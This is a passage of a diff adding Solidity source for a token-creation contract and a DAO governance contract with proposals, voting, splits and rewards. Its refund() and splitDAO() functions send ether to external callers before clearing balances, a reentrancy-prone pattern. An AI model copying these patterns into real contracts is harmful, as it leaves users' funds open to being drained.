Tokens to be created + /// @param _closingTime Date (in Unix time) of the end of the Token Creation + /// @param _privateCreation Zero means that the creation is public. A + /// non-zero address represents the only address that can create Tokens + /// (the address can also create Tokens on behalf of other accounts) + // This is the constructor: it can not be overloaded so it is commented out + // function TokenCreation( + // uint _minTokensTocreate, + // uint _closingTime, + // address _privateCreation + // ); + + /// @notice Create Token with `_tokenHolder` as the initial owner of the Token + /// @param _tokenHolder The address of the Tokens's recipient + /// @return Whether the token creation was successful + function createTokenProxy(address _tokenHolder) returns (bool success); + + /// @notice Refund `msg.sender` in the case the Token Creation did + /// not reach its minimum fueling goal + function refund(); + + /// @return The divisor used to calculate the token creation rate during + /// the creation phase + function divisor() constant returns (uint divisor); + + event FuelingToDate(uint value); + event CreatedToken(address indexed to, uint amount); + event Refund(address indexed to, uint value); +} + + +contract TokenCreation is TokenCreationInterface, Token { + function TokenCreation( + uint _minTokensToCreate, + uint _closingTime, + address _privateCreation) { + + closingTime = _closingTime; + minTokensToCreate = _minTokensToCreate; + privateCreation = _privateCreation; + extraBalance = new ManagedAccount(address(this), true); + } + + function createTokenProxy(address _tokenHolder) returns (bool success) { + if (now < closingTime && msg.value > 0 + && (privateCreation == 0 || privateCreation == msg.sender)) { + + uint token = (msg.value * 20) / divisor(); + extraBalance.call.value(msg.value - token)(); + balances[_tokenHolder] += token; + totalSupply += token; + weiGiven[_tokenHolder] += msg.value; + CreatedToken(_tokenHolder, token); + if (totalSupply >= minTokensToCreate && !isFueled) { + isFueled = true; + FuelingToDate(totalSupply); + } + return true; + } + throw; + } + + function refund() noEther { + if (now > closingTime && !isFueled) { + // Get extraBalance - will only succeed when called for the first time + if (extraBalance.balance >= extraBalance.accumulatedInput()) + extraBalance.payOut(address(this), extraBalance.accumulatedInput()); + + // Execute refund + if (msg.sender.call.value(weiGiven[msg.sender])()) { + Refund(msg.sender, weiGiven[msg.sender]); + totalSupply -= balances[msg.sender]; + balances[msg.sender] = 0; + weiGiven[msg.sender] = 0; + } + } + } + + function divisor() constant returns (uint divisor) { + // The number of (base unit) tokens per wei is calculated + // as `msg.value` * 20 / `divisor` + // The fueling period starts with a 1:1 ratio + if (closingTime - 2 weeks > now) { + return 20; + // Followed by 10 days with a daily creation rate increase of 5% + } else if (closingTime - 4 days > now) { + return (20 + (now - (closingTime - 2 weeks)) / (1 days)); + // The last 4 days there is a constant creation rate ratio of 1:1.5 + } else { + return 30; + } + } +} +/* +This file is part of the DAO. + +The DAO is free software: you can redistribute it and/or modify +it under the terms of the GNU lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +The DAO is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU lesser General Public License for more details. + +You should have received a copy of the GNU lesser General Public License +along with the DAO. If not, see . +*/ + + +/* +Standard smart contract for a Decentralized Autonomous Organization (DAO) +to automate organizational governance and decision-making. +*/ + + +contract DAOInterface { + + // The amount of days for which people who try to participate in the + // creation by calling the fallback function will still get their ether back + uint constant creationGracePeriod = 40 days; + // The minimum debate period that a generic proposal can have + uint constant minProposalDebatePeriod = 2 weeks; + // The minimum debate period that a split proposal can have + uint constant minSplitDebatePeriod = 1 weeks; + // Period of days inside which it's possible to execute a DAO split + uint constant splitExecutionPeriod = 27 days; + // Period of time after which the minimum Quorum is halved + uint constant quorumHalvingPeriod = 25 weeks; + // Period after which a proposal is closed + // (used in the case `executeProposal` fails because it throws) + uint constant executeProposalPeriod = 10 days; + // Denotes the maximum proposal deposit that can be given. It is given as + // a fraction of total Ether spent plus balance of the DAO + uint constant maxDepositDivisor = 100; + + // Proposals to spend the DAO's ether or to choose a new Curator + Proposal[] public proposals; + // The quorum needed for each proposal is partially calculated by + // totalSupply / minQuorumDivisor + uint public minQuorumDivisor; + // The unix time of the last time quorum was reached on a proposal + uint public lastTimeMinQuorumMet; + + // Address of the curator + address public curator; + // The whitelist: List of addresses the DAO is allowed to send ether to + mapping (address => bool) public allowedRecipients; + + // Tracks the addresses that own Reward Tokens. Those addresses can only be + // DAOs that have split from the original DAO. Conceptually, Reward Tokens + // represent the proportion of the rewards that the DAO has the right to + // receive. These Reward Tokens are generated when the DAO spends ether. + mapping (address => uint) public rewardToken; + // Total supply of rewardToken + uint public totalRewardToken; + + // The account used to manage the rewards which are to be distributed to the + // DAO Token Holders of this DAO + ManagedAccount public rewardAccount; + + // The account used to manage the rewards which are to be distributed to + // any DAO that holds Reward Tokens + ManagedAccount public DAOrewardAccount; + + // Amount of rewards (in wei) already paid out to a certain DAO + mapping (address => uint) public DAOpaidOut; + + // Amount of rewards (in wei) already paid out to a certain address + mapping (address => uint) public paidOut; + // Map of addresses blocked during a vote (not allowed to transfer DAO + // tokens). The address points to the proposal ID. + mapping (address => uint) public blocked; + + // The minimum deposit (in wei) required to submit any proposal that is not + // requesting a new Curator (no deposit is required for splits) + uint public proposalDeposit; + + // the accumulated sum of all current proposal deposits + uint sumOfProposalDeposits; + + // Contract that is able to create a new DAO (with the same code as + // this one), used for splits + DAO_Creator public daoCreator; + + // A proposal with `newCurator == false` represents a transaction + // to be issued by this DAO + // A proposal with `newCurator == true` represents a DAO split + struct Proposal { + // The address where the `amount` will go to if the proposal is accepted + // or if `newCurator` is true, the proposed Curator of + // the new DAO). + address recipient; + // The amount to transfer to `recipient` if the proposal is accepted. + uint amount; + // A plain text description of the proposal + string description; + // A unix timestamp, denoting the end of the voting period + uint votingDeadline; + // True if the proposal's votes have yet to be counted, otherwise False + bool open; + // True if quorum has been reached, the votes have been counted, and + // the majority said yes + bool proposalPassed; + // A hash to check validity of a proposal + bytes32 proposalHash; + // Deposit in wei the creator added when submitting their proposal. It + // is taken from the msg.value of a newProposal call. + uint proposalDeposit; + // True if this proposal is to assign a new Curator + bool newCurator; + // Data needed for splitting the DAO + SplitData[] splitData; + // Number of Tokens in favor of the proposal + uint yea; + // Number of Tokens opposed to the proposal + uint nay; + // Simple mapping to check if a shareholder has voted for it + mapping (address => bool) votedYes; + // Simple mapping to check if a shareholder has voted against it + mapping (address => bool) votedNo; + // Address of the shareholder who created the proposal + address creator; + } + + // Used only in the case of a newCurator proposal. + struct SplitData { + // The balance of the current DAO minus the deposit at the time of split + uint splitBalance; + // The total amount of DAO Tokens in existence at the time of split. + uint totalSupply; + // Amount of Reward Tokens owned by the DAO at the time of split. + uint rewardToken; + // The new DAO contract created at the time of split. + DAO newDAO; + } + + // Used to restrict access to certain functions to only DAO Token Holders + modifier onlyTokenholders {} + + /// @dev Constructor setting the Curator and the address + /// for the contract able to create another DAO as well as the parameters + /// for the DAO Token Creation + /// @param _curator The Curator + /// @param _daoCreator The contract able to (re)create this DAO + /// @param _proposalDeposit The deposit to be paid for a regular proposal + /// @param _minTokensToCreate Minimum required wei-equivalent tokens + /// to be created for a successful DAO Token Creation + /// @param _closingTime Date (in Unix time) of the end of the DAO Token Creation + /// @param _privateCreation If zero the DAO Token Creation is open to public, a + /// non-zero address means that the DAO Token Creation is only for the address + // This is the constructor: it can not be overloaded so it is commented out + // function DAO( + // address _curator, + // DAO_Creator _daoCreator, + // uint _proposalDeposit, + // uint _minTokensToCreate, + // uint _closingTime, + // address _privateCreation + // ); + + /// @notice Create Token with `msg.sender` as the beneficiary + /// @return Whether the token creation was successful + function () returns (bool success); + + + /// @dev This function is used to send ether back + /// to the DAO, it can also be used to receive payments that should not be + /// counted as rewards (donations, grants, etc.) + /// @return Whether the DAO received the ether successfully + function receiveEther() returns(bool); + + /// @notice `msg.sender` creates a proposal to send `_amount` Wei to + /// `_recipient` with the transaction data `_transactionData`. If + /// `_newCurator` is true, then this is a proposal that splits the + /// DAO and sets `_recipient` as the new DAO's Curator. + /// @param _recipient Address of the recipient of the proposed transaction + /// @param _amount Amount of wei to be sent with the proposed transaction + /// @param _description String describing the proposal + /// @param _transactionData Data of the proposed transaction + /// @param _debatingPeriod Time used for debating a proposal, at least 2 + /// weeks for a regular proposal, 10 days for new Curator proposal + /// @param _newCurator Bool defining whether this proposal is about + /// a new Curator or not + /// @return The proposal ID. Needed for voting on the proposal + function newProposal( + address _recipient, + uint _amount, + string _description, + bytes _transactionData, + uint _debatingPeriod, + bool _newCurator + ) onlyTokenholders returns (uint _proposalID); + + /// @notice Check that the proposal with the ID `_proposalID` matches the + /// transaction which sends `_amount` with data `_transactionData` + /// to `_recipient` + /// @param _proposalID The proposal ID + /// @param _recipient The recipient of the proposed transaction + /// @param _amount The amount of wei to be sent in the proposed transaction + /// @param _transactionData The data of the proposed transaction + /// @return Whether the proposal ID matches the transaction data or not + function checkProposalCode( + uint _proposalID, + address _recipient, + uint _amount, + bytes _transactionData + ) constant returns (bool _codeChecksOut); + + /// @notice Vote on proposal `_proposalID` with `_supportsProposal` + /// @param _proposalID The proposal ID + /// @param _supportsProposal Yes/No - support of the proposal + /// @return The vote ID. + function vote( + uint _proposalID, + bool _supportsProposal + ) onlyTokenholders returns (uint _voteID); + + /// @notice Checks whether proposal `_proposalID` with transaction data + /// `_transactionData` has been voted for or rejected, and executes the + /// transaction in the case it has been voted for. + /// @param _proposalID The proposal ID + /// @param _transactionData The data of the proposed transaction + /// @return Whether the proposed transaction has been executed or not + function executeProposal( + uint _proposalID, + bytes _transactionData + ) returns (bool _success); + + /// @notice ATTENTION! I confirm to move my remaining ether to a new DAO + /// with `_newCurator` as the new Curator, as has been + /// proposed in proposal `_proposalID`. This will burn my tokens. This can + /// not be undone and will split the DAO into two DAO's, with two + /// different underlying tokens. + /// @param _proposalID The proposal ID + /// @param _newCurator The new Curator of the new DAO + /// @dev This function, when called for the first time for this proposal, + /// will create a new DAO and send the sender's portion of the remaining + /// ether and Reward Tokens to the new DAO. It will also burn the DAO Tokens + /// of the sender. + function splitDAO( + uint _proposalID, + address _newCurator + ) returns (bool _success); + + /// @dev can only be called by the DAO itself through a proposal + /// updates the contract of the DAO by sending all ether and rewardTokens + /// to the new DAO. The new DAO needs to be approved by the Curator + /// @param _newContract the address of the new contract + function newContract(address _newContract); + + + /// @notice Add a new possible recipient `_recipient` to the whitelist so + /// that the DAO can send transactions to them (using proposals) + /// @param _recipient New recipient address + /// @dev Can only be called by the current Curator + /// @return Whether successful or not + function changeAllowedRecipients(address _recipient, bool _allowed) external returns (bool _success); + + + /// @notice Change the minimum deposit required to submit a proposal + /// @param _proposalDeposit The new proposal deposit + /// @dev Can only be called by this DAO (through proposals with the + /// recipient being this DAO itself) + function changeProposalDeposit(uint _proposalDeposit) external; + + /// @notice Move rewards from the DAORewards managed account + /// @param _toMembers If true rewards are moved to the actual reward account + /// for the DAO. If not then it's moved to the DAO itself + /// @return Whether the call was successful + function retrieveDAOReward(bool _toMembers) external returns (bool _success); + + /// @notice Get my portion of the reward that was sent to `rewardAccount` + /// @return Whether the call was successful + function getMyReward() returns(bool _success); + + /// @notice Withdraw `_account`'s portion of the reward from `rewardAccount` + /// to `_account`'s balance + /// @return Whether the call was successful + function withdrawRewardFor(address _account) internal returns (bool _success); + + /// @notice Send `_amount` tokens to `_to` from `msg.sender`. Prior to this + /// getMyReward() is called. + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transfered + /// @return Whether the transfer was successful or not + function transferWithoutReward(address _to, uint256 _amount) returns (bool success); + + /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it + /// is approved by `_from`. Prior to this getMyReward() is called. + /// @param _from The address of the sender + /// @param _to The address of the recipient + /// @param _amount The amount of tokens to be transfered + /// @return Whether the transfer was successful or not + function transferFromWithoutReward( + address _from, + address _to, + uint256 _amount + ) returns (bool success); + + /// @notice Doubles the 'minQuorumDivisor' in the case quorum has not been + /// achieved in 52 weeks + /// @return Whether the change was successful or not + function halveMinQuorum() returns (bool _success); + + /// @return total number of proposals ever created + function numberOfProposals() constant returns (uint _numberOfProposals); + + /// @param _proposalID Id of the new curator proposal + /// @return Address of the new DAO + function getNewDAOAddress(uint _proposalID) constant returns (address _newDAO); + + /// @param _account The address of the account which is checked. + /// @return Whether the account is blocked (not allowed to transfer tokens) or not. + function isBlocked(address _account) internal returns (bool); + + /// @notice If the caller is blocked by a proposal whose voting deadline + /// has exprired then unblock him. + /// @return Whether the account is blocked (not allowed to transfer tokens) or not. + function unblockMe() returns (bool); + + event ProposalAdded( + uint indexed proposalID, + address recipient, + uint amount, + bool newCurator, + string description + ); + event Voted(uint indexed proposalID, bool position, address indexed voter); + event ProposalTallied(uint indexed proposalID, bool result, uint quorum); + event NewCurator(address indexed _newCurator); + event AllowedRecipientChanged(address indexed _recipient, bool _allowed); +} + +// The DAO contract itself +contract DAO is DAOInterface, Token, TokenCreation { + + // Modifier that allows only shareholders to vote and create new proposals + modifier onlyTokenholders { + if (balanceOf(msg.sender) == 0) throw; + _ + } + + function DAO( + address _curator, + DAO_Creator _daoCreator, + uint _proposalDeposit, + uint _minTokensToCreate, + uint _closingTime, + address _privateCreation + ) TokenCreation(_minTokensToCreate, _closingTime, _privateCreation) { + + curator = _curator; + daoCreator = _daoCreator; + proposalDeposit = _proposalDeposit; + rewardAccount = new ManagedAccount(address(this), false); + DAOrewardAccount = new ManagedAccount(address(this), false); + if (address(rewardAccount) == 0) + throw; + if (address(DAOrewardAccount) == 0) + throw; + lastTimeMinQuorumMet = now; + minQuorumDivisor = 5; // sets the minimal quorum to 20% + proposals.length = 1; // avoids a proposal with ID 0 because it is used + + allowedRecipients[address(this)] = true; + allowedRecipients[curator] = true; + } + + function () returns (bool success) { + if (now < closingTime + creationGracePeriod && msg.sender != address(extraBalance)) + return createTokenProxy(msg.sender); + else + return receiveEther(); + } + + + function receiveEther() returns (bool) { + return true; + } + + + function newProposal( + address _recipient, + uint _amount, + string _description, + bytes _transactionData, + uint _debatingPeriod, + bool _newCurator + ) onlyTokenholders returns (uint _proposalID) { + + // Sanity check + if (_newCurator && ( + _amount != 0 + || _transactionData.length != 0 + || _recipient == curator + || msg.value > 0 + || _debatingPeriod < minSplitDebatePeriod)) { + throw; + } else if ( + !_newCurator + && (!isRecipientAllowed(_recipient) || (_debatingPeriod < minProposalDebatePeriod)) + ) { + throw; + } + + if (_debatingPeriod > 8 weeks) + throw; + + if (!isFueled + || now < closingTime + || (msg.value < proposalDeposit && !_newCurator)) { + + throw; + } + + if (now + _debatingPeriod < now) // prevents overflow + throw; + + // to prevent a 51% attacker to convert the ether into deposit + if (msg.sender == address(this)) + throw; + + _proposalID = proposals.length++; + Proposal p = proposals[_proposalID]; + p.recipient = _recipient; + p.amount = _amount; + p.description = _description; + p.proposalHash = sha3(_recipient, _amount, _transactionData); + p.votingDeadline = now + _debatingPeriod; + p.open = true; + //p.proposalPassed = False; // that's default + p.newCurator = _newCurator; + if (_newCurator) + p.splitData.length++; + p.creator = msg.sender; + p.proposalDeposit = msg.value; + + sumOfProposalDeposits += msg.value; + + ProposalAdded( + _proposalID, + _recipient, + _amount, + _newCurator, + _description + ); + } + + + function checkProposalCode( + uint _proposalID, + address _recipient, + uint _amount, + bytes _transactionData + ) noEther constant returns (bool _codeChecksOut) { + Proposal p = proposals[_proposalID]; + return p.proposalHash == sha3(_recipient, _amount, _transactionData); + } + + + function vote( + uint _proposalID, + bool _supportsProposal + ) onlyTokenholders noEther returns (uint _voteID) { + + Proposal p = proposals[_proposalID]; + if (p.votedYes[msg.sender] + || p.votedNo[msg.sender] + || now >= p.votingDeadline) { + + throw; + } + + if (_supportsProposal) { + p.yea += balances[msg.sender]; + p.votedYes[msg.sender] = true; + } else { + p.nay += balances[msg.sender]; + p.votedNo[msg.sender] = true; + } + + if (blocked[msg.sender] == 0) { + blocked[msg.sender] = _proposalID; + } else if (p.votingDeadline > proposals[blocked[msg.sender]].votingDeadline) { + // this proposal's voting deadline is further into the future than + // the proposal that blocks the sender so make it the blocker + blocked[msg.sender] = _proposalID; + } + + Voted(_proposalID, _supportsProposal, msg.sender); + } + + + function executeProposal( + uint _proposalID, + bytes _transactionData + ) noEther returns (bool _success) { + + Proposal p = proposals[_proposalID]; + + uint waitPeriod = p.newCurator + ? splitExecutionPeriod + : executeProposalPeriod; + // If we are over deadline and waiting period, assert proposal is closed + if (p.open && now > p.votingDeadline + waitPeriod) { + closeProposal(_proposalID); + return; + } + + // Check if the proposal can be executed + if (now < p.votingDeadline // has the voting deadline arrived? + // Have the votes been counted? + || !p.open + // Does the transaction code match the proposal? + || p.proposalHash != sha3(p.recipient, p.amount, _transactionData)) { + + throw; + } + + // If the curator removed the recipient from the whitelist, close the proposal + // in order to free the deposit and allow unblocking of voters + if (!isRecipientAllowed(p.recipient)) { + closeProposal(_proposalID); + p.creator.send(p.proposalDeposit); + return; + } + + bool proposalCheck = true; + + if (p.amount > actualBalance()) + proposalCheck = false; + + uint quorum = p.yea + p.nay; + + // require 53% for calling newContract() + if (_transactionData.length >= 4 && _transactionData[0] == 0x68 + && _transactionData[1] == 0x37 && _transactionData[2] == 0xff + && _transactionData[3] == 0x1e + && quorum < minQuorum(actualBalance() + rewardToken[address(this)])) { + + proposalCheck = false; + } + + if (quorum >= minQuorum(p.amount)) { + if (!p.creator.send(p.proposalDeposit)) + throw; + + lastTimeMinQuorumMet = now; + // set the minQuorum to 20% again, in the case it has been reached + if (quorum > totalSupply / 5) + minQuorumDivisor = 5; + } + + // Execute result + if (quorum >= minQuorum(p.amount) && p.yea > p.nay && proposalCheck) { + if (!p.recipient.call.value(p.amount)(_transactionData)) + throw; + + p.proposalPassed = true; + _success = true; + + // only create reward tokens when ether is not sent to the DAO itself and + // related addresses. Proxy addresses should be forbidden by the curator. + if (p.recipient != address(this) && p.recipient != address(rewardAccount) + && p.recipient != address(DAOrewardAccount) + && p.recipient != address(extraBalance) + && p.recipient != address(curator)) { + + rewardToken[address(this)] += p.amount; + totalRewardToken += p.amount; + } + } + + closeProposal(_proposalID); + + // Initiate event + ProposalTallied(_proposalID, _success, quorum); + } + + + function closeProposal(uint _proposalID) internal { + Proposal p = proposals[_proposalID]; + if (p.open) + sumOfProposalDeposits -= p.proposalDeposit; + p.open = false; + } + + function splitDAO( + uint _proposalID, + address _newCurator + ) noEther onlyTokenholders returns (bool _success) { + + Proposal p = proposals[_proposalID]; + + // Sanity check + + if (now < p.votingDeadline // has the voting deadline arrived? + //The request for a split expires XX days after the voting deadline + || now > p.votingDeadline + splitExecutionPeriod + // Does the new Curator address match? + || p.recipient != _newCurator + // Is it a new curator proposal? + || !p.newCurator + // Have you voted for this split? + || !p.votedYes[msg.sender] + // Did you already vote on another proposal? + || (blocked[msg.sender] != _proposalID && blocked[msg.sender] != 0) ) { + + throw; + } + + // If the new DAO doesn't exist yet, create the new DAO and store the + // current split data + if (address(p.splitData[0].newDAO) == 0) { + p.splitData[0].newDAO = createNewDAO(_newCurator); + // Call depth limit reached, etc. + if (address(p.splitData[0].newDAO) == 0) + throw; + // should never happen + if (this.balance < sumOfProposalDeposits) + throw; + p.splitData[0].splitBalance = actualBalance(); + p.splitData[0].rewardToken = rewardToken[address(this)]; + p.splitData[0].totalSupply = totalSupply; + p.proposalPassed = true; + } + + // Move ether and assign new Tokens + uint fundsToBeMoved = + (balances[msg.sender] * p.splitData[0].splitBalance) / + p.splitData[0].totalSupply; + if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) + throw; + + + // Assign reward rights to new DAO + uint rewardTokenToBeMoved = + (balances[msg.sender] * p.splitData[0].rewardToken) / + p.splitData[0].totalSupply; + + uint paidOutToBeMoved = DAOpaidOut[address(this)] * rewardTokenToBeMoved / + rewardToken[address(this)]; + + rewardToken[address(p.splitData[0].newDAO)] += rewardTokenToBeMoved; + if (rewardToken[address(this)] < rewardTokenToBeMoved) + throw; + rewardToken[address(this)] -= rewardTokenToBeMoved; + + DAOpaidOut[address(p.splitData[0].newDAO)] += paidOutToBeMoved; + if (DAOpaidOut[address(this)] < paidOutToBeMoved) + throw; + DAOpaidOut[address(this)] -= paidOutToBeMoved; + + // Burn DAO Tokens + Transfer(msg.sender, 0, balances[msg.sender]); + withdrawRewardFor(msg.sender); // be nice, and get his rewards + totalSupply -= balances[msg.sender]; + balances[msg.sender] = 0; + paidOut[msg.sender] = 0; + return true; + } + + function newContract(address _newContract){ + if (msg.sender != address(this) || !allowedRecipients[_newContract]) return; + // move all ether + if (!_newContract.call.value(address(this).balance)()) { + throw; + } + + //move all reward tokens + rewardToken[_newContract] += rewardToken[address(this)]; + rewardToken[address(this)] = 0; + DAOpaidOut[_newContract] += DAOpaidOut[address(this)]; + DAOpaidOut[address(this)] = 0; + } + + + function retrieveDAOReward(bool _toMembers) external noEther returns (bool _success) { + DAO dao = DAO(msg.sender); + + if ((rewardToken[msg.sender] * DAOrewardAccount.accumulatedInput()) / + totalRewardToken < DAOpaidOut[msg.sender]) + throw; + + uint reward = + (rewardToken[msg.sender] * DAOrewardAccount.accumulatedInput()) / + totalRewardToken - DAOpaidOut[msg.sender]; + if(_toMembers) { + if (!DAOrewardAccount.payOut(dao.rewardAccount(), reward)) + throw; + } + else { + if (!DAOrewardAccount.payOut(dao, reward)) + throw; + } + DAOpaidOut[msg.sender] += reward; + return true; + } + + function getMyReward() noEther returns (bool _success) { + return withdrawRewardFor(msg.sender); + } + + + function withdrawRewardFor(address _account) noEther internal returns (bool _success) { + if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) + throw; + + uint reward = + (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; + if (!rewardAccount.payOut(_account, reward)) + throw; + paidOut[_account] += reward; + return true; + } + + + function transfer(address _to, uint256 _value) returns (bool success) { + if (isFueled + && now > closingTime + && !isBlocked(msg.sender) + && transferPaidOut(msg.sender, _to, _value) + && super.transfer(_to, _value)) { + + return true; + } else { + throw; + } + } + + + function transferWithoutReward(address _to, uint256 _value) returns (bool success) { + if (!getMyReward()) + throw; + return transfer(_to, _value); + } + + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (isFueled + && now > closingTime + && !isBlocked(_from) + && transferPaidOut(_from, _to, _value) + && super.transferFrom(_from, _to, _value)) { + + return true; + } else { + throw; + } + } + + + function transferFromWithoutReward( + address _from, + address _to, + uint256 _value + ) returns (bool success) { + + if (!withdrawRewardFor(_from)) + throw; + return transferFrom(_from, _to, _value); + } + + + function transferPaidOut( + address _from, + address _to, + uint256 _value + ) internal returns (bool success) { + + uint transferPaidOut = paidOut[_from] * _value / balanceOf(_from); + if (transferPaidOut > paidOut[_from]) + throw; + paidOut[_from] -= transferPaidOut; + paidOut[_to] += transferPaidOut; + return true; + } + + + function changeProposalDeposit(uint _proposalDeposit) noEther external { + if (msg.sender != address(this) || _proposalDeposit > (actualBalance() + rewardToken[address(this)]) + / maxDepositDivisor) { + + throw; + } + proposalDeposit = _proposalDeposit; + } + + + function changeAllowedRecipients(address _recipient, bool _allowed) noEther external returns (bool _success) { + if (msg.sender != curator) + throw; + allowedRecipients[_recipient] = _allowed; + AllowedRecipientChanged(_recipient, _allowed); + return true; + } + + + function isRecipientAllowed(address _recipient) internal returns (bool _isAllowed) { + if (allowedRecipients[_recipient] + || (_recipient == address(extraBalance) + // only allowed when at least the amount held in the + // extraBalance account has been spent from the DAO + && totalRewardToken > extraBalance.accumulatedInput())) + return true; + else + return false; + } + + function actualBalance() constant returns (uint _actualBalance) { + return this.balance - sumOfProposalDeposits; + } + + + function minQuorum(uint _value) internal constant returns (uint _minQuorum) { + // minimum of 20% and maximum of 53.33% + return totalSupply / minQuorumDivisor + + (_value * totalSupply) / (3 * (actualBalance() + rewardToken[address(this)])); + } + + + function halveMinQuorum() returns (bool _success) { + // this can only be called after `quorumHalvingPeriod` has passed or at anytime + // by the curator with a delay of at least `minProposalDebatePeriod` between the calls + if ((lastTimeMinQuorumMet < (now - quorumHalvingPeriod) || msg.sender == curator) + && lastTimeMinQuorumMet < (now - minProposalDebatePeriod)) { + lastTimeMinQuorumMet = now; + minQuorumDivisor *= 2; + return true; + } else { + return false; + } + } + + function createNewDAO(address _newCurator) internal returns (DAO _newDAO) { + NewCurator(_newCurator); + return daoCreator.createDAO(_newCurator, 0, 0, now + splitExecutionPeriod); + } + + function numberOfProposals() constant returns (uint _numberOfProposals) { + // Don't count index 0. It's used by isBlocked() and exists from start + return proposals.length - 1; + } + + function getNewDAOAddress(uint _proposalID) constant returns (address _newDAO) { + return proposals[_proposalID].splitData[0].newDAO; + } + + function isBlocked(address _account) internal returns (bool) { + if (blocked[_account] == 0) + return false; + Proposal p = proposals[blocked[_account]]; + if (now > p.votingDeadline) { + blocked[_account] = 0; + return false; + } else { + return true; + } + } + + function unblockMe() returns (bool) { + return isBlocked(msg.sender); + } +} + +contract DAO_Creator { + function createDAO( + address _curator, + uint _proposalDeposit, + uint _minTokensToCreate, + uint _closingTime + ) returns (DAO _newDAO) { + + return new DAO( + _curator, + DAO_Creator(this), + _proposalDeposit, + _minTokensToCreate, + _closingTime, + msg.sender + ); + } +}